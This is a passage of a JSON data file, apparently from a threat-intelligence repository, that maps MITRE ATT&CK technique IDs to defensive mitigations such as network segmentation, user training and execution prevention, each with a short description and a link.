"Operating System Configuration", "description": "Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.", "url": "https://attack.mitre.org/mitigations/M1028"}]}, {"_id": "T1002", "mitigations": [{"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1081", "mitigations": [{"name": "User Training", "description": "Train users to to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.", "url": "https://attack.mitre.org/mitigations/M1017"}, {"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}, {"name": "Password Policies", "description": "Set and enforce secure password policies for accounts.", "url": "https://attack.mitre.org/mitigations/M1027"}, {"name": "Active Directory Configuration", "description": "Configure Active Directory to prevent use of certain techniques; use SID Filtering, etc.", "url": "https://attack.mitre.org/mitigations/M1015"}, {"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}]}, {"_id": "T1128", "mitigations": [{"name": "Netsh Helper DLL Mitigation", "description": "Identify and block potentially malicious software that may persist in this manner by using whitelisting (Citation: Beechey 2010) tools capable of monitoring DLL loads by Windows utilities like AppLocker. (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker)", "url": ""}]}, {"_id": "T1056", "mitigations": [{"name": "Input Capture Mitigation", "description": "Identify and block potentially malicious software that may be used to acquire credentials or information from the user by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1203", "mitigations": [{"name": "Exploit Protection", "description": "Use capabilities to detect and block conditions that may lead to or be indicative of a software exploit occurring.", "url": "https://attack.mitre.org/mitigations/M1050"}, {"name": "Application Isolation and Sandboxing", "description": "Restrict execution of code to a virtual environment on or in transit to an endpoint system.", "url": "https://attack.mitre.org/mitigations/M1048"}]}, {"_id": "T1168", "mitigations": [{"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}]}, {"_id": "T1166", "mitigations": [{"name": "Operating System Configuration", "description": "Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.", "url": "https://attack.mitre.org/mitigations/M1028"}]}, {"_id": "T1100", "mitigations": [{"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Update Software", "description": "Perform regular software updates to mitigate exploitation risk.", "url": "https://attack.mitre.org/mitigations/M1051"}]}, {"_id": "T1186", "mitigations": [{"name": "Process Doppelg\u00e4nging Mitigation", "description": "This type of attack technique cannot be easily mitigated with preventive controls or patched since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate process-loading mechanisms from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.", "url": ""}]}, {"_id": "T1184", "mitigations": [{"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "User Account Control", "description": "Configure Windows User Account Control to mitigate risk of adversaries obtaining elevated process access.", "url": "https://attack.mitre.org/mitigations/M1052"}, {"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}, {"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}, {"name": "Password Policies", "description": "Set and enforce secure password policies for accounts.", "url": "https://attack.mitre.org/mitigations/M1027"}]}, {"_id": "T1095", "mitigations": [{"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}, {"name": "Filter Network Traffic", "description": "Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.", "url": "https://attack.mitre.org/mitigations/M1037"}, {"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}]}, {"_id": "T1075", "mitigations": [{"name": "Password Policies", "description": "Set and enforce secure password policies for accounts.", "url": "https://attack.mitre.org/mitigations/M1027"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Update Software", "description": "Perform regular software updates to mitigate exploitation risk.", "url": "https://attack.mitre.org/mitigations/M1051"}, {"name": "User Account Control", "description": "Configure Windows User Account Control to mitigate risk of adversaries obtaining elevated process access.", "url": "https://attack.mitre.org/mitigations/M1052"}, {"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}]}, {"_id": "T1012", "mitigations": [{"name": "Query Registry Mitigation", "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information within the Registry, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1030", "mitigations": [{"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1028", "mitigations": [{"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}]}, {"_id": "T1034", "mitigations": [{"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}, {"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}, {"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}, {"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}]}, {"_id": "T1506", "mitigations": [{"name": "Software Configuration", "description": "Implement configuration changes to software (other than the operating system) to mitigate security risks associated to how the software operates.", "url": "https://attack.mitre.org/mitigations/M1054"}]}, {"_id": "T1499", "mitigations": [{"name": "Filter Network Traffic", "description": "Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.", "url": "https://attack.mitre.org/mitigations/M1037"}]}, {"_id": "T1065", "mitigations": [{"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}, {"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1197", "mitigations": [{"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}, {"name": "Filter Network Traffic", "description": "Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.", "url": "https://attack.mitre.org/mitigations/M1037"}, {"name": "Operating System Configuration", "description": "Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.", "url": "https://attack.mitre.org/mitigations/M1028"}]}, {"_id": "T1088", "mitigations": [{"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}, {"name": "User Account Control", "description": "Configure Windows User Account Control to mitigate risk of adversaries obtaining elevated process access.", "url": "https://attack.mitre.org/mitigations/M1052"}]}, {"_id": "T1494", "mitigations": [{"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}, {"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}]}, {"_id": "T1493", "mitigations": [{"name": "Encrypt Sensitive Information", "description": "Protect sensitive information with strong encryption.", "url": "https://attack.mitre.org/mitigations/M1041"}]}, {"_id": "T1132", "mitigations": [{"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1496", "mitigations": [{"name": "Resource Hijacking Mitigation", "description": "Identify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1147", "mitigations": [{"name": "Operating System Configuration", "description": "Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.", "url": "https://attack.mitre.org/mitigations/M1028"}]}, {"_id": "T1500", "mitigations": [{"name": "Compile After Delivery Mitigation", "description": "This type of technique cannot be easily mitigated with preventive controls or patched since it is based on the abuse of operating system design features. For example, blocking all file compilation may have unintended side effects, such as preventing legitimate OS frameworks and code development mechanisms from operating properly. Consider removing compilers if not needed, otherwise efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.", "url": ""}]}, {"_id": "T1223", "mitigations": [{"name": "Restrict Web-Based Content", "description": "Restrict use of certain websites, block downloads/attachments, block Javascript, restrict browser extensions, etc.", "url": "https://attack.mitre.org/mitigations/M1021"}, {"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}]}, {"_id": "T1213", "mitigations": [{"name": "User Training", "description": "Train users to to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.", "url": "https://attack.mitre.org/mitigations/M1017"}, {"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}, {"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}]}, {"_id": "T1146", "mitigations": [{"name": "Environment Variable Permissions", "description": "Prevent modification of environment variables by unauthorized users and groups.", "url": "https://attack.mitre.org/mitigations/M1039"}, {"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}]}, {"_id": "T1519", "mitigations": [{"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}]}, {"_id": "T1194", "mitigations": [{"name": "Antivirus/Antimalware", "description": "Use signatures or heuristics to detect malicious software.", "url": "https://attack.mitre.org/mitigations/M1049"}, {"name": "Restrict Web-Based Content", "description": "Restrict use of certain websites, block downloads/attachments, block Javascript, restrict browser extensions, etc.", "url": "https://attack.mitre.org/mitigations/M1021"}, {"name": "User Training", "description": "Train users to to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.", "url": "https://attack.mitre.org/mitigations/M1017"}]}, {"_id": "T1200", "mitigations": [{"name": "Limit Access to Resource Over Network", "description": "Prevent access to file shares, remote access to systems, unnecessary services. Mechanisms to limit access may include use of network concentrators, RDP gateways, etc.", "url": "https://attack.mitre.org/mitigations/M1035"}, {"name": "Limit Hardware Installation", "description": "Block users or groups from installing or using unapproved hardware on systems, including USB devices.", "url": "https://attack.mitre.org/mitigations/M1034"}]}, {"_id": "T1505", "mitigations": [{"name": "Code Signing", "description": "Enforce binary and application integrity with digital signature verification to prevent untrusted code from executing.", "url": "https://attack.mitre.org/mitigations/M1045"}, {"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}]}, {"_id": "T1485", "mitigations": [{"name": "Data Backup", "description": "Take and store data backups from end user systems and critical servers. Ensure backup and storage systems are hardened and kept separate from the corporate network to prevent compromise.", "url": "https://attack.mitre.org/mitigations/M1053"}]}, {"_id": "T1537", "mitigations": [{"name": "Password Policies", "description": "Set and enforce secure password policies for accounts.", "url": "https://attack.mitre.org/mitigations/M1027"}, {"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}, {"name": "Filter Network Traffic", "description": "Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.", "url": "https://attack.mitre.org/mitigations/M1037"}]}, {"_id": "T1130", "mitigations": [{"name": "Operating System Configuration", "description": "Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.", "url": "https://attack.mitre.org/mitigations/M1028"}, {"name": "Software Configuration", "description": "Implement configuration changes to software (other than the operating system) to mitigate security risks associated to how the software operates.", "url": "https://attack.mitre.org/mitigations/M1054"}]}, {"_id": "T1022", "mitigations": [{"name": "Data Encrypted Mitigation", "description": "Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to encrypt files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1189", "mitigations": [{"name": "Exploit Protection", "description": "Use capabilities to detect and block conditions that may lead to or be indicative of a software exploit occurring.", "url": "https://attack.mitre.org/mitigations/M1050"}, {"name": "Update Software", "description": "Perform regular software updates to mitigate exploitation risk.", "url": "https://attack.mitre.org/mitigations/M1051"}, {"name": "Application Isolation and Sandboxing", "description": "Restrict execution of code to a virtual environment on or in transit to an endpoint system.", "url": "https://attack.mitre.org/mitigations/M1048"}, {"name": "Restrict Web-Based Content", "description": "Restrict use of certain websites, block downloads/attachments, block Javascript, restrict browser extensions, etc.", "url": "https://attack.mitre.org/mitigations/M1021"}]}, {"_id": "T1498", "mitigations": [{"name": "Filter Network Traffic", "description": "Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.", "url": "https://attack.mitre.org/mitigations/M1037"}]}, {"_id": "T1158", "mitigations": [{"name": "Hidden Files and Directories Mitigation", "description": "Mitigation of this technique may be difficult and unadvised due to the the legitimate use of hidden files and directories.", "url": ""}]}, {"_id": "T1221", "mitigations": [{"name": "Antivirus/Antimalware", "description": "Use signatures or heuristics to detect malicious software.", "url": "https://attack.mitre.org/mitigations/M1049"}, {"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}, {"name": "User Training", "description": "Train users to to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.", "url": "https://attack.mitre.org/mitigations/M1017"}, {"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}]}, {"_id": "T1134", "mitigations": [{"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}]}, {"_id": "T1209", "mitigations": [{"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}, {"name": "Restrict Registry Permissions", "description": "Restrict the ability to modify certain hives or keys in the Windows Registry.", "url": "https://attack.mitre.org/mitigations/M1024"}]}, {"_id": "T1111", "mitigations": [{"name": "User Training", "description": "Train users to to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.", "url": "https://attack.mitre.org/mitigations/M1017"}]}, {"_id": "T1159", "mitigations": [{"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}]}, {"_id": "T1136", "mitigations": [{"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}, {"name": "Operating System Configuration", "description": "Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.", "url": "https://attack.mitre.org/mitigations/M1028"}, {"name": "Multi-factor Authentication", "description": "Use two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator.", "url": "https://attack.mitre.org/mitigations/M1032"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}]}, {"_id": "T1526", "mitigations": []}, {"_id": "T1151", "mitigations": [{"name": "Space after Filename Mitigation", "description": "Prevent files from having a trailing space after the extension.", "url": ""}]}, {"_id": "T1018", "mitigations": [{"name": "Remote System Discovery Mitigation", "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information on remotely available systems, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1046", "mitigations": [{"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}, {"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}, {"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}]}, {"_id": "T1518", "mitigations": []}, {"_id": "T1538", "mitigations": [{"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}]}, {"_id": "T1052", "mitigations": [{"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}]}, {"_id": "T1105", "mitigations": [{"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1126", "mitigations": [{"name": "Network Share Connection Removal Mitigation", "description": "Follow best practices for mitigation of activity related to establishing [Windows Admin Shares](https://attack.mitre.org/techniques/T1077). ", "url": ""}]}, {"_id": "T1084", "mitigations": [{"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}]}, {"_id": "T1160", "mitigations": [{"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}]}, {"_id": "T1484", "mitigations": [{"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}, {"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}]}, {"_id": "T1220", "mitigations": [{"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}]}, {"_id": "T1173", "mitigations": [{"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}, {"name": "Behavior Prevention on Endpoint", "description": "Use capabilities to prevent suspicious behavior patterns from occurring on endpoint systems. This could include suspicious process, file, API call, etc. behavior.", "url": "https://attack.mitre.org/mitigations/M1040"}, {"name": "Application Isolation and Sandboxing", "description": "Restrict execution of code to a virtual environment on or in transit to an endpoint system.", "url": "https://attack.mitre.org/mitigations/M1048"}, {"name": "Software Configuration", "description": "Implement configuration changes to software (other than the operating system) to mitigate security risks associated to how the software operates.", "url": "https://attack.mitre.org/mitigations/M1054"}]}, {"_id": "T1008", "mitigations": [{"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1096", "mitigations": [{"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}]}, {"_id": "T1124", "mitigations": [{"name": "System Time Discovery Mitigation", "description": "Benign software uses legitimate processes to gather system time. Efforts should be focused on preventing unwanted or unknown code from executing on a system. Some common tools, such as net.exe, may be blocked by policy to prevent common ways of acquiring remote system time.", "url": ""}]}, {"_id": "T1035", "mitigations": [{"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}]}, {"_id": "T1086", "mitigations": [{"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}, {"name": "Code Signing", "description": "Enforce binary and application integrity with digital signature verification to prevent untrusted code from executing.", "url": "https://attack.mitre.org/mitigations/M1045"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}]}, {"_id": "T1495", "mitigations": [{"name": "Update Software", "description": "Perform regular software updates to mitigate exploitation risk.", "url": "https://attack.mitre.org/mitigations/M1051"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Boot Integrity", "description": "Use secure methods to boot a system and verify the integrity of the operating system and loading mechanisms.", "url": "https://attack.mitre.org/mitigations/M1046"}]}, {"_id": "T1490", "mitigations": [{"name": "Operating System Configuration", "description": "Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.", "url": "https://attack.mitre.org/mitigations/M1028"}, {"name": "Data Backup", "description": "Take and store data backups from end user systems and critical servers. Ensure backup and storage systems are hardened and kept separate from the corporate network to prevent compromise.", "url": "https://attack.mitre.org/mitigations/M1053"}]}, {"_id": "T1216", "mitigations": [{"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}]}, {"_id": "T1094", "mitigations": [{"name": "Filter Network Traffic", "description": "Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.", "url": "https://attack.mitre.org/mitigations/M1037"}, {"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}, {"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1118", "mitigations": [{"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}, {"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}]}, {"_id": "T1043", "mitigations": [{"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}, {"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1211", "mitigations": [{"name": "Exploit Protection", "description": "Use capabilities to detect and block conditions that may lead to or be indicative of a software exploit occurring.", "url": "https://attack.mitre.org/mitigations/M1050"}, {"name": "Update Software", "description": "Perform regular software updates to mitigate exploitation risk.", "url": "https://attack.mitre.org/mitigations/M1051"}, {"name": "Threat Intelligence Program", "description": "A threat intelligence program helps an organization generate their own threat intelligence information and track trends to inform defensive priorities to mitigate risk.", "url": "https://attack.mitre.org/mitigations/M1019"}, {"name": "Application Isolation and Sandboxing", "description": "Restrict execution of code to a virtual environment on or in transit to an endpoint system.", "url": "https://attack.mitre.org/mitigations/M1048"}]}, {"_id": "T1127", "mitigations": [{"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}, {"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}]}, {"_id": "T1529", "mitigations": []}, {"_id": "T1077", "mitigations": [{"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Password Policies", "description": "Set and enforce secure password policies for accounts.", "url": "https://attack.mitre.org/mitigations/M1027"}]}] +{"metadata":{"timestamp": "1632960960.3763978", "commit_hash": "fb8942b1a", "origin_url": "https://github.com/guardicore/cti.git"},"data":[{"_id": "T1205", "mitigations": [{"name": "Filter Network Traffic", "description": "Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.", "url": "https://attack.mitre.org/mitigations/M1037"}]}, {"_id": "T1053", "mitigations": [{"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}, {"name": "Operating System Configuration", "description": "Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.", "url": "https://attack.mitre.org/mitigations/M1028"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}]}, {"_id": "T1118", "mitigations": [{"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}, {"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}]}, {"_id": "T1176", "mitigations": [{"name": "User Training", "description": "Train users to to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.", "url": "https://attack.mitre.org/mitigations/M1017"}, {"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}, {"name": "Limit Software Installation", "description": "Block users or groups from installing unapproved software.", "url": "https://attack.mitre.org/mitigations/M1033"}, {"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}]}, {"_id": "T1139", "mitigations": [{"name": 